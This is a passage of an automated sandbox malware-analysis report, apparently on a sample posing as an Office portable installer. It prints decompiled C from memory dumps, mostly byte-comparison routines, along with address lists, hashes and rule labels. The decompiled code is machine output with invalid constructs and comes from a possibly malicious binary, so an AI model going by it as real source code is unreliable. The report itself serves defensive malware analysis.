							_v184 = _t227;
							if(_t292 < _t333) {
								continue;
							} else {
								goto L14;
							}
							goto L63;
						}
						L37:
						return E000CC7C7(_t285, _v8 ^ _t358, _t333, _t343, _t355);
					}
				} else {
					 *_v212 = _t332;
					 *_t285 = _t332;
					L4:
					return E000CC7C7(_t285, _v8 ^ _t358, _t332, _t343, _t355);
				}
				L63:
			}

0x000c4cd0
0x000c4cd0
0x000c4ce0
0x000c4ce6
0x000c4cf0
0x000c4cf3
0x000c4cfd
0x000c4d07
0x000c4d09
0x000c4d0b
0x000c4d11
0x000c4d18
0x000c4d1f
0x000c4d26
0x000c4d2d
0x000c4d34
0x000c4d3b
0x000c4d42
0x000c4d49
0x000c4d50
0x000c4d57
0x000c4d5e
0x000c4d65
0x000c4d6c
0x000c4d73
0x000c4d7a
0x000c4d81
0x000c4d81
0x000c4d83
0x000c4d86
0x000c4d8a
0x000c4d8a
0x000c4d90
0x000c4daf
0x000c4db1
0x000c4db6
0x000c4dbd
0x000c4dc1
0x00000000
0x00000000
0x00000000
0x000c4dc1
0x000c4dc5
0x000c4dcb
0x000c4dce
0x000c4dd3
0x000c4dda
0x000c4ddb
0x00000000
0x00000000
0x00000000
0x000c4ddb
0x000c4ddf
0x000c4de2
0x000c4de8
0x000c4def
0x000c4df1
0x000c4df7
0x000c4dff
0x000c4e18
0x000c4e1e
0x000c4e25
0x000c4e2b
0x000c4e2f
0x000c4e31
0x000c4e37
0x00000000
0x000c4e3d
0x000c4e3f
0x000c4e41
0x000c4e45
0x000c4e4b
0x000c4e4c
0x000c4e4e
0x000c4e50
0x000c4e50
0x000c4e54
0x000c4e57
0x000c4e5e
0x000c4e5e
0x000c4e50
0x000c4e61
0x000c4e67
0x000c4e70
0x000c4e70
0x000c4e72
0x000c4e77
0x000c4e80
0x000c4e81
0x000c4e85
0x000c4e85
0x000c4e8c
0x000c4e8d
0x000c4e97
0x000c4ea6
0x000c4eb2
0x000c4eb8
0x000c4ec1
0x000c4ec3
0x000c4ec5
0x000c4ecb
0x000c4ed1
0x000c4ed7
0x000c4edd
0x000c4ee3
0x000c4eef
0x000c5229
0x000c5230
0x00000000
0x000c5243
0x000c5258
0x000c5258
0x000c4ef5
0x000c4ef9
0x000c4f05
0x000c4f0b
0x000c4f11
0x000c4f17
0x000c4f19
0x000c4f21
0x000c4f27
0x000c4f2d
0x000c4f36
0x000c4f3c
0x000c4f42
0x000c4f42
0x000c4f49
0x000c4f4f
0x000c4f58
0x000c50b8
0x000c50c8
0x000c50d7
0x000c50df
0x000c50ea
0x000c50ec
0x000c50ef
0x000c50f7
0x000c510d
0x000c5117
0x000c5123
0x000c50f9
0x000c50ff
0x000c5105
0x000c5105
0x000c5129
0x000c50e1
0x000c50e1
0x000c50e1
0x000c513f
0x000c5143
0x000c514b
0x000c5151
0x000c5160
0x000c5166
0x000c5170
0x000c5172
0x000c5174
0x000c5176
0x000c517a
0x000c5180
0x000c5180
0x000c5194
0x000c5198
0x000c51a0
0x000c51a0
0x000c51a2
0x000c51a4
0x000c51a0
0x000c51a8
0x000c51ae
0x000c51b9
0x000c51bf
0x000c51cf
0x000c51d1
0x000c51d2
0x000c51d4
0x000c51e3
0x000c51ec
0x000c51f5
0x000c51f5
0x00000000
0x000c4f5e
0x000c4f60
0x000c4f62
0x000c4f64
0x000c4f66
0x000c4f77
0x000c4f80
0x000c4f82
0x000c4f8d
0x000c4f8f
0x000c4f91
0x000c4f9d
0x000c4f9f
0x000c4fae
0x000c4fb2
0x000c4fb4
0x000c4fb7
0x000c4fc0
0x000c4fc0
0x000c4fc3
0x000c4fc6
0x000c4fca
0x00000000
0x00000000
0x000c4fcc
0x000c4fcd
0x000c4fd1
0x00000000
0x00000000
0x00000000
0x000c4fd1
0x000c4fc0
0x000c4fb7
0x000c4fb2
0x000c4fd3
0x000c4fdb
0x000c4fe2
0x000c4fe4
0x000c4fed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000c4ff3
0x000c4ff9
0x000c5002
0x000c5008
0x000c5015
0x000c5017
0x000c501f
0x000c5095
0x000c5021
0x000c5021
0x000c5027
0x000c5034
0x000c5040
0x000c504e
0x000c5050
0x000c5062
0x000c5064
0x000c5067
0x000c506b
0x000c5071
0x000c5071
0x000c5097
0x000c509d
0x000c50a3
0x000c50a6
0x000c50b2
0x00000000
0x000c50b2
0x00000000
0x000c51fb
0x000c51fb
0x000c5201
0x000c5209
0x000c5209
0x00000000
0x000c520f
0x000c520f
0x000c5216
0x000c5217
0x000c521d
0x00000000
0x000c4f11
0x000c4eef
0x000c4e01
0x000c4e01
0x000c4e01
0x000c4e05
0x00000000
0x00000000
0x000c4e0b
0x000c4e0c
0x000c4e0e
0x000c4e16
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000c4e16
0x000c5079
0x000c508e
0x000c508e
0x000c4d92
0x000c4d98
0x000c4d9a
0x000c4d9c
0x000c4dae
0x000c4dae
0x00000000

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 046892e923c5f84209015e1493a57171247dbe5e8a7c620b9fd49427575bec55
Instruction ID: 94f3cf8e1f4ad29a101c6cbd4e29abf302aa931a7fca37fcf58d1612f7e9fbab
Opcode Fuzzy Hash: 046892e923c5f84209015e1493a57171247dbe5e8a7c620b9fd49427575bec55
Instruction Fuzzy Hash: BDF1E275A002298FDB24CF68D890B9DB7B1BB98314F2581EED84DA7341DB31AE85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 000D2349, Relevance: .3, Instructions: 345
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E000D2349(void* __edx, void* __esi) {
				signed int _t192;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t241;
				void* _t287;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t326;
				void* _t327;

				_t327 = __esi;
				_t287 = __edx;
				if( *((intOrPtr*)(__esi - 0x1e)) ==  *((intOrPtr*)(__edx - 0x1e))) {
					_t241 = 0;
					L15:
					if(_t241 != 0) {
						goto L2;
					}
					_t193 =  *(_t327 - 0x1a);
					if(_t193 ==  *(_t287 - 0x1a)) {
						_t241 = 0;
						L26:
						if(_t241 != 0) {
							goto L2;
						}
						_t194 =  *(_t327 - 0x16);
						if(_t194 ==  *(_t287 - 0x16)) {
							_t241 = 0;
							L37:
							if(_t241 != 0) {
								goto L2;
							}
							_t195 =  *(_t327 - 0x12);
							if(_t195 ==  *(_t287 - 0x12)) {
								_t241 = 0;
								L48:
								if(_t241 != 0) {
									goto L2;
								}
								_t196 =  *(_t327 - 0xe);
								if(_t196 ==  *(_t287 - 0xe)) {
									_t241 = 0;
									L59:
									if(_t241 != 0) {
										goto L2;
									}
									if( *(_t327 - 0xa) ==  *(_t287 - 0xa)) {
										_t241 = 0;
										L70:
										if(_t241 != 0) {
											goto L2;
										}
										_t198 =  *(_t327 - 6);
										if(_t198 ==  *(_t287 - 6)) {
											_t241 = 0;
											L81:
											if(_t241 == 0 &&  *((intOrPtr*)(_t327 - 2)) ==  *((intOrPtr*)(_t287 - 2))) {
											}
											goto L2;
										}
										_t292 = (_t198 & 0x000000ff) - ( *(_t287 - 6) & 0x000000ff);
										if(_t292 == 0) {
											L74:
											_t294 = ( *(_t327 - 5) & 0x000000ff) - ( *(_t287 - 5) & 0x000000ff);
											if(_t294 == 0) {
												L76:
												_t296 = ( *(_t327 - 4) & 0x000000ff) - ( *(_t287 - 4) & 0x000000ff);
												if(_t296 == 0) {
													L78:
													_t241 = ( *(_t327 - 3) & 0x000000ff) - ( *(_t287 - 3) & 0x000000ff);
													if(_t241 != 0) {
														_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
													}
													goto L81;
												}
												_t241 = (0 | _t296 > 0x00000000) * 2 - 1;
												if(_t241 != 0) {
													goto L2;
												}
												goto L78;
											}
											_t241 = (0 | _t294 > 0x00000000) * 2 - 1;
											if(_t241 != 0) {
												goto L2;
											}
											goto L76;
										}
										_t241 = (0 | _t292 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L74;
									}
									_t298 = ( *(_t327 - 0xa) & 0x000000ff) - ( *(_t287 - 0xa) & 0x000000ff);
									if(_t298 == 0) {
										L63:
										_t300 = ( *(_t327 - 9) & 0x000000ff) - ( *(_t287 - 9) & 0x000000ff);
										if(_t300 == 0) {
											L65:
											_t302 = ( *(_t327 - 8) & 0x000000ff) - ( *(_t287 - 8) & 0x000000ff);
											if(_t302 == 0) {
												L67:
												_t241 = ( *(_t327 - 7) & 0x000000ff) - ( *(_t287 - 7) & 0x000000ff);
												if(_t241 != 0) {
													_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
												}
												goto L70;
											}
											_t241 = (0 | _t302 > 0x00000000) * 2 - 1;
											if(_t241 != 0) {
												goto L2;
											}
											goto L67;
										}
										_t241 = (0 | _t300 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L65;
									}
									_t241 = (0 | _t298 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L63;
								}
								_t304 = (_t196 & 0x000000ff) - ( *(_t287 - 0xe) & 0x000000ff);
								if(_t304 == 0) {
									L52:
									_t306 = ( *(_t327 - 0xd) & 0x000000ff) - ( *(_t287 - 0xd) & 0x000000ff);
									if(_t306 == 0) {
										L54:
										_t308 = ( *(_t327 - 0xc) & 0x000000ff) - ( *(_t287 - 0xc) & 0x000000ff);
										if(_t308 == 0) {
											L56:
											_t241 = ( *(_t327 - 0xb) & 0x000000ff) - ( *(_t287 - 0xb) & 0x000000ff);
											if(_t241 != 0) {
												_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
											}
											goto L59;
										}
										_t241 = (0 | _t308 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L56;
									}
									_t241 = (0 | _t306 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L54;
								}
								_t241 = (0 | _t304 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L52;
							}
							_t310 = (_t195 & 0x000000ff) - ( *(_t287 - 0x12) & 0x000000ff);
							if(_t310 == 0) {
								L41:
								_t312 = ( *(_t327 - 0x11) & 0x000000ff) - ( *(_t287 - 0x11) & 0x000000ff);
								if(_t312 == 0) {
									L43:
									_t314 = ( *(_t327 - 0x10) & 0x000000ff) - ( *(_t287 - 0x10) & 0x000000ff);
									if(_t314 == 0) {
										L45:
										_t241 = ( *(_t327 - 0xf) & 0x000000ff) - ( *(_t287 - 0xf) & 0x000000ff);
										if(_t241 != 0) {
											_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
										}
										goto L48;
									}
									_t241 = (0 | _t314 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L45;
								}
								_t241 = (0 | _t312 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L43;
							}
							_t241 = (0 | _t310 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L41;
						}
						_t316 = (_t194 & 0x000000ff) - ( *(_t287 - 0x16) & 0x000000ff);
						if(_t316 == 0) {
							L30:
							_t318 = ( *(_t327 - 0x15) & 0x000000ff) - ( *(_t287 - 0x15) & 0x000000ff);
							if(_t318 == 0) {
								L32:
								_t320 = ( *(_t327 - 0x14) & 0x000000ff) - ( *(_t287 - 0x14) & 0x000000ff);
								if(_t320 == 0) {
									L34:
									_t241 = ( *(_t327 - 0x13) & 0x000000ff) - ( *(_t287 - 0x13) & 0x000000ff);
									if(_t241 != 0) {
										_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
									}
									goto L37;
								}
								_t241 = (0 | _t320 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L34;
							}
							_t241 = (0 | _t318 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L32;
						}
						_t241 = (0 | _t316 > 0x00000000) * 2 - 1;
						if(_t241 != 0) {
							goto L2;
						}
						goto L30;
					}
					_t322 = (_t193 & 0x000000ff) - ( *(_t287 - 0x1a) & 0x000000ff);
					if(_t322 == 0) {
						L19:
						_t324 = ( *(_t327 - 0x19) & 0x000000ff) - ( *(_t287 - 0x19) & 0x000000ff);
						if(_t324 == 0) {
							L21:
							_t326 = ( *(_t327 - 0x18) & 0x000000ff) - ( *(_t287 - 0x18) & 0x000000ff);
							if(_t326 == 0) {
								L23:
								_t241 = ( *(_t327 - 0x17) & 0x000000ff) - ( *(_t287 - 0x17) & 0x000000ff);
								if(_t241 != 0) {
									_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
								}
								goto L26;
							}
							_t241 = (0 | _t326 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L23;
						}
						_t241 = (0 | _t324 > 0x00000000) * 2 - 1;
						if(_t241 != 0) {
							goto L2;
						}
						goto L21;
					}
					_t241 = (0 | _t322 > 0x00000000) * 2 - 1;
					if(_t241 != 0) {
						goto L2;
					}
					goto L19;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
					if(__edi == 0) {
						L8:
						__edi =  *(__esi - 0x1d) & 0x000000ff;
						__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
						if(__edi == 0) {
							L10:
							__edi =  *(__esi - 0x1c) & 0x000000ff;
							__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
							if(__edi == 0) {
								L12:
								__ecx =  *(__esi - 0x1b) & 0x000000ff;
								__ecx = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L15;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								L2:
								_t192 = _t241;
								return _t192;
							}
							goto L12;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L2;
						}
						goto L10;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L2;
					}
					goto L8;
				}
			}

0x000d2349
0x000d2349
0x000d234f
0x000d23d6
0x000d23d8
0x000d23da
0x00000000
0x00000000
0x000d23e0
0x000d23e6
0x000d246d
0x000d246f
0x000d2471
0x00000000
0x00000000
0x000d2477
0x000d247d
0x000d2504
0x000d2506
0x000d2508
0x00000000
0x00000000
0x000d250e
0x000d2514
0x000d259b
0x000d259d
0x000d259f
0x00000000
0x00000000
0x000d25a5
0x000d25ab
0x000d2632
0x000d2634
0x000d2636
0x00000000
0x00000000
0x000d2642
0x000d26ca
0x000d26cc
0x000d26ce
0x00000000
0x00000000
0x000d26d4
0x000d26da
0x000d2761
0x000d2763
0x000d2765
0x000d2765
0x00000000
0x000d2765
0x000d26e7
0x000d26e9
0x000d2701
0x000d2709
0x000d270b
0x000d2723
0x000d272b
0x000d272d
0x000d2745
0x000d274d
0x000d274f
0x000d2758
0x000d2758
0x00000000
0x000d274f
0x000d2736
0x000d273f
0x00000000
0x00000000
0x00000000
0x000d273f
0x000d2714
0x000d271d
0x00000000
0x00000000
0x00000000
0x000d271d
0x000d26f2
0x000d26fb
0x00000000
0x00000000
0x00000000
0x000d26fb
0x000d2650
0x000d2652
0x000d266a
0x000d2672
0x000d2674
0x000d268c
0x000d2694
0x000d2696
0x000d26ae
0x000d26b6
0x000d26b8
0x000d26c1
0x000d26c1
0x00000000
0x000d26b8
0x000d269f
0x000d26a8
0x00000000
0x00000000
0x00000000
0x000d26a8
0x000d267d
0x000d2686
0x00000000
0x00000000
0x00000000
0x000d2686
0x000d265b
0x000d2664
0x00000000
0x00000000
0x00000000
0x000d2664
0x000d25b8
0x000d25ba
0x000d25d2
0x000d25da
0x000d25dc
0x000d25f4
0x000d25fc
0x000d25fe
0x000d2616
0x000d261e
0x000d2620
0x000d2629
0x000d2629
0x00000000
0x000d2620
0x000d2607
0x000d2610
0x00000000
0x00000000
0x00000000
0x000d2610
0x000d25e5
0x000d25ee
0x00000000
0x00000000
0x00000000
0x000d25ee
0x000d25c3
0x000d25cc
0x00000000
0x00000000
0x00000000
0x000d25cc
0x000d2521
0x000d2523
0x000d253b
0x000d2543
0x000d2545
0x000d255d
0x000d2565
0x000d2567
0x000d257f
0x000d2587
0x000d2589
0x000d2592
0x000d2592
0x00000000
0x000d2589
0x000d2570
0x000d2579
0x00000000
0x00000000
0x00000000
0x000d2579
0x000d254e
0x000d2557
0x00000000
0x00000000
0x00000000
0x000d2557
0x000d252c
0x000d2535
0x00000000
0x00000000
0x00000000
0x000d2535
0x000d248a
0x000d248c
0x000d24a4
0x000d24ac
0x000d24ae
0x000d24c6
0x000d24ce
0x000d24d0
0x000d24e8
0x000d24f0
0x000d24f2
0x000d24fb
0x000d24fb
0x00000000
0x000d24f2
0x000d24d9
0x000d24e2
0x00000000
0x00000000
0x00000000
0x000d24e2
0x000d24b7
0x000d24c0
0x00000000
0x00000000
0x00000000
0x000d24c0
0x000d2495
0x000d249e
0x00000000
0x00000000
0x00000000
0x000d249e
0x000d23f3
0x000d23f5
0x000d240d
0x000d2415
0x000d2417
0x000d242f
0x000d2437
0x000d2439
0x000d2451
0x000d2459
0x000d245b
0x000d2464
0x000d2464
0x00000000
0x000d245b
0x000d2442
0x000d244b
0x00000000
0x00000000
0x00000000
0x000d244b
0x000d2420
0x000d2429
0x00000000
0x00000000
0x00000000
0x000d2429
0x000d23fe
0x000d2407
0x00000000
0x00000000
0x00000000
0x000d2355
0x000d2355
0x000d235c
0x000d235e
0x000d2376
0x000d2376
0x000d237e
0x000d2380
0x000d2398
0x000d2398
0x000d23a0
0x000d23a2
0x000d23ba
0x000d23ba
0x000d23c2
0x000d23c4
0x000d23cd
0x000d23cd
0x00000000
0x000d23c4
0x000d23a8
0x000d23ab
0x000d23b4
0x000d1f0c
0x000d1f0c
0x000d2cfc
0x000d2cfc
0x00000000
0x000d23b4
0x000d2386
0x000d2389
0x000d2392
0x00000000
0x00000000
0x00000000
0x000d2392
0x000d2364
0x000d2367
0x000d2370
0x00000000
0x00000000
0x00000000
0x000d2370

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction ID: be461fa9f04c746a88080fbe368a2da5304a857306a0df03ef89c0d6e9d091ec
Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction Fuzzy Hash: 64C1863620525349DFAD4639943417EBBE15FA17B231A07AFE8B2CB2D5EF20C564D630

Uniqueness

Uniqueness Score: -1.00%

Function 000D277E, Relevance: .3, Instructions: 341
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E000D277E(void* __edx, void* __esi) {
				signed int _t196;
				signed char _t197;
				signed char _t198;
				signed char _t199;
				signed char _t201;
				signed char _t202;
				signed int _t245;
				void* _t293;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t326;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t335;

				_t335 = __esi;
				_t293 = __edx;
				if( *((intOrPtr*)(__esi - 0x1f)) ==  *((intOrPtr*)(__edx - 0x1f))) {
					_t245 = 0;
					L14:
					if(_t245 != 0) {
						goto L1;
					}
					_t197 =  *(_t335 - 0x1b);
					if(_t197 ==  *(_t293 - 0x1b)) {
						_t245 = 0;
						L25:
						if(_t245 != 0) {
							goto L1;
						}
						_t198 =  *(_t335 - 0x17);
						if(_t198 ==  *(_t293 - 0x17)) {
							_t245 = 0;
							L36:
							if(_t245 != 0) {
								goto L1;
							}
							_t199 =  *(_t335 - 0x13);
							if(_t199 ==  *(_t293 - 0x13)) {
								_t245 = 0;
								L47:
								if(_t245 != 0) {
									goto L1;
								}
								if( *(_t335 - 0xf) ==  *(_t293 - 0xf)) {
									_t245 = 0;
									L58:
									if(_t245 != 0) {
										goto L1;
									}
									_t201 =  *(_t335 - 0xb);
									if(_t201 ==  *(_t293 - 0xb)) {
										_t245 = 0;
										L69:
										if(_t245 != 0) {
											goto L1;
										}
										_t202 =  *(_t335 - 7);
										if(_t202 ==  *(_t293 - 7)) {
											_t245 = 0;
											L80:
											if(_t245 != 0) {
												goto L1;
											}
											_t296 = ( *(_t335 - 3) & 0x000000ff) - ( *(_t293 - 3) & 0x000000ff);
											if(_t296 == 0) {
												L83:
												_t298 = ( *(_t335 - 2) & 0x000000ff) - ( *(_t293 - 2) & 0x000000ff);
												if(_t298 == 0) {
													L3:
													_t245 = ( *(_t335 - 1) & 0x000000ff) - ( *(_t293 - 1) & 0x000000ff);
													if(_t245 != 0) {
														_t245 = (0 | _t245 > 0x00000000) * 2 - 1;
													}
													goto L1;
												}
												_t245 = (0 | _t298 > 0x00000000) * 2 - 1;
												if(_t245 != 0) {
													goto L1;
												} else {
													goto L3;
												}
											}
											_t245 = (0 | _t296 > 0x00000000) * 2 - 1;
											if(_t245 != 0) {
												goto L1;
											}
											goto L83;
										}
										_t300 = (_t202 & 0x000000ff) - ( *(_t293 - 7) & 0x000000ff);
										if(_t300 == 0) {
											L73:
											_t302 = ( *(_t335 - 6) & 0x000000ff) - ( *(_t293 - 6) & 0x000000ff);
											if(_t302 == 0) {
												L75:
												_t304 = ( *(_t335 - 5) & 0x000000ff) - ( *(_t293 - 5) & 0x000000ff);
												if(_t304 == 0) {
													L77:
													_t245 = ( *(_t335 - 4) & 0x000000ff) - ( *(_t293 - 4) & 0x000000ff);
													if(_t245 != 0) {
														_t245 = (0 | _t245 > 0x00000000) * 2 - 1;
													}
													goto L80;
												}
												_t245 = (0 | _t304 > 0x00000000) * 2 - 1;
												if(_t245 != 0) {
													goto L1;
												}
												goto L77;
											}
											_t245 = (0 | _t302 > 0x00000000) * 2 - 1;
											if(_t245 != 0) {
												goto L1;
											}
											goto L75;
										}
										_t245 = (0 | _t300 > 0x00000000) * 2 - 1;
										if(_t245 != 0) {
											goto L1;
										}
										goto L73;
									}
									_t306 = (_t201 & 0x000000ff) - ( *(_t293 - 0xb) & 0x000000ff);
									if(_t306 == 0) {
										L62:
										_t308 = ( *(_t335 - 0xa) & 0x000000ff) - ( *(_t293 - 0xa) & 0x000000ff);
										if(_t308 == 0) {
											L64:
											_t310 = ( *(_t335 - 9) & 0x000000ff) - ( *(_t293 - 9) & 0x000000ff);
											if(_t310 == 0) {
												L66:
												_t245 = ( *(_t335 - 8) & 0x000000ff) - ( *(_t293 - 8) & 0x000000ff);
												if(_t245 != 0) {
													_t245 = (0 | _t245 > 0x00000000) * 2 - 1;
												}
												goto L69;
											}
											_t245 = (0 | _t310 > 0x00000000) * 2 - 1;
											if(_t245 != 0) {
												goto L1;
											}
											goto L66;
										}
										_t245 = (0 | _t308 > 0x00000000) * 2 - 1;
										if(_t245 != 0) {
											goto L1;
										}
										goto L64;
									}
									_t245 = (0 | _t306 > 0x00000000) * 2 - 1;
									if(_t245 != 0) {
										goto L1;
									}
									goto L62;
								}
								_t312 = ( *(_t335 - 0xf) & 0x000000ff) - ( *(_t293 - 0xf) & 0x000000ff);
								if(_t312 == 0) {
									L51:
									_t314 = ( *(_t335 - 0xe) & 0x000000ff) - ( *(_t293 - 0xe) & 0x000000ff);
									if(_t314 == 0) {
										L53:
										_t316 = ( *(_t335 - 0xd) & 0x000000ff) - ( *(_t293 - 0xd) & 0x000000ff);
										if(_t316 == 0) {
											L55:
											_t245 = ( *(_t335 - 0xc) & 0x000000ff) - ( *(_t293 - 0xc) & 0x000000ff);
											if(_t245 != 0) {
												_t245 = (0 | _t245 > 0x00000000) * 2 - 1;
											}
											goto L58;
										}
										_t245 = (0 | _t316 > 0x00000000) * 2 - 1;
										if(_t245 != 0) {
											goto L1;
										}
										goto L55;
									}
									_t245 = (0 | _t314 > 0x00000000) * 2 - 1;
									if(_t245 != 0) {
										goto L1;
									}
									goto L53;
								}
								_t245 = (0 | _t312 > 0x00000000) * 2 - 1;
								if(_t245 != 0) {
									goto L1;
								}
								goto L51;
							}
							_t318 = (_t199 & 0x000000ff) - ( *(_t293 - 0x13) & 0x000000ff);
							if(_t318 == 0) {
								L40:
								_t320 = ( *(_t335 - 0x12) & 0x000000ff) - ( *(_t293 - 0x12) & 0x000000ff);
								if(_t320 == 0) {
									L42:
									_t322 = ( *(_t335 - 0x11) & 0x000000ff) - ( *(_t293 - 0x11) & 0x000000ff);
									if(_t322 == 0) {
										L44:
										_t245 = ( *(_t335 - 0x10) & 0x000000ff) - ( *(_t293 - 0x10) & 0x000000ff);
										if(_t245 != 0) {
											_t245 = (0 | _t245 > 0x00000000) * 2 - 1;
										}
										goto L47;
									}
									_t245 = (0 | _t322 > 0x00000000) * 2 - 1;
									if(_t245 != 0) {
										goto L1;
									}
									goto L44;
								}
								_t245 = (0 | _t320 > 0x00000000) * 2 - 1;
								if(_t245 != 0) {
									goto L1;
								}
								goto L42;
							}
							_t245 = (0 | _t318 > 0x00000000) * 2 - 1;
							if(_t245 != 0) {
								goto L1;
							}
							goto L40;
						}
						_t324 = (_t198 & 0x000000ff) - ( *(_t293 - 0x17) & 0x000000ff);
						if(_t324 == 0) {
							L29:
							_t326 = ( *(_t335 - 0x16) & 0x000000ff) - ( *(_t293 - 0x16) & 0x000000ff);
							if(_t326 == 0) {
								L31:
								_t328 = ( *(_t335 - 0x15) & 0x000000ff) - ( *(_t293 - 0x15) & 0x000000ff);
								if(_t328 == 0) {
									L33:
									_t245 = ( *(_t335 - 0x14) & 0x000000ff) - ( *(_t293 - 0x14) & 0x000000ff);
									if(_t245 != 0) {
										_t245 = (0 | _t245 > 0x00000000) * 2 - 1;
									}
									goto L36;
								}
								_t245 = (0 | _t328 > 0x00000000) * 2 - 1;
								if(_t245 != 0) {
									goto L1;
								}
								goto L33;
							}
							_t245 = (0 | _t326 > 0x00000000) * 2 - 1;
							if(_t245 != 0) {
								goto L1;
							}
							goto L31;
						}
						_t245 = (0 | _t324 > 0x00000000) * 2 - 1;
						if(_t245 != 0) {
							goto L1;
						}
						goto L29;
					}
					_t330 = (_t197 & 0x000000ff) - ( *(_t293 - 0x1b) & 0x000000ff);
					if(_t330 == 0) {
						L18:
						_t332 = ( *(_t335 - 0x1a) & 0x000000ff) - ( *(_t293 - 0x1a) & 0x000000ff);
						if(_t332 == 0) {
							L20:
							_t334 = ( *(_t335 - 0x19) & 0x000000ff) - ( *(_t293 - 0x19) & 0x000000ff);
							if(_t334 == 0) {
								L22:
								_t245 = ( *(_t335 - 0x18) & 0x000000ff) - ( *(_t293 - 0x18) & 0x000000ff);
								if(_t245 != 0) {
									_t245 = (0 | _t245 > 0x00000000) * 2 - 1;
								}
								goto L25;
							}
							_t245 = (0 | _t334 > 0x00000000) * 2 - 1;
							if(_t245 != 0) {
								goto L1;
							}
							goto L22;
						}
						_t245 = (0 | _t332 > 0x00000000) * 2 - 1;
						if(_t245 != 0) {
							goto L1;
						}
						goto L20;
					}
					_t245 = (0 | _t330 > 0x00000000) * 2 - 1;
					if(_t245 != 0) {
						goto L1;
					}
					goto L18;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1f) & 0x000000ff);
					if(__edi == 0) {
						L7:
						__edi =  *(__esi - 0x1e) & 0x000000ff;
						__edi = ( *(__esi - 0x1e) & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
						if(__edi == 0) {
							L9:
							__edi =  *(__esi - 0x1d) & 0x000000ff;
							__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
							if(__edi == 0) {
								L11:
								__ecx =  *(__esi - 0x1c) & 0x000000ff;
								__ecx = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
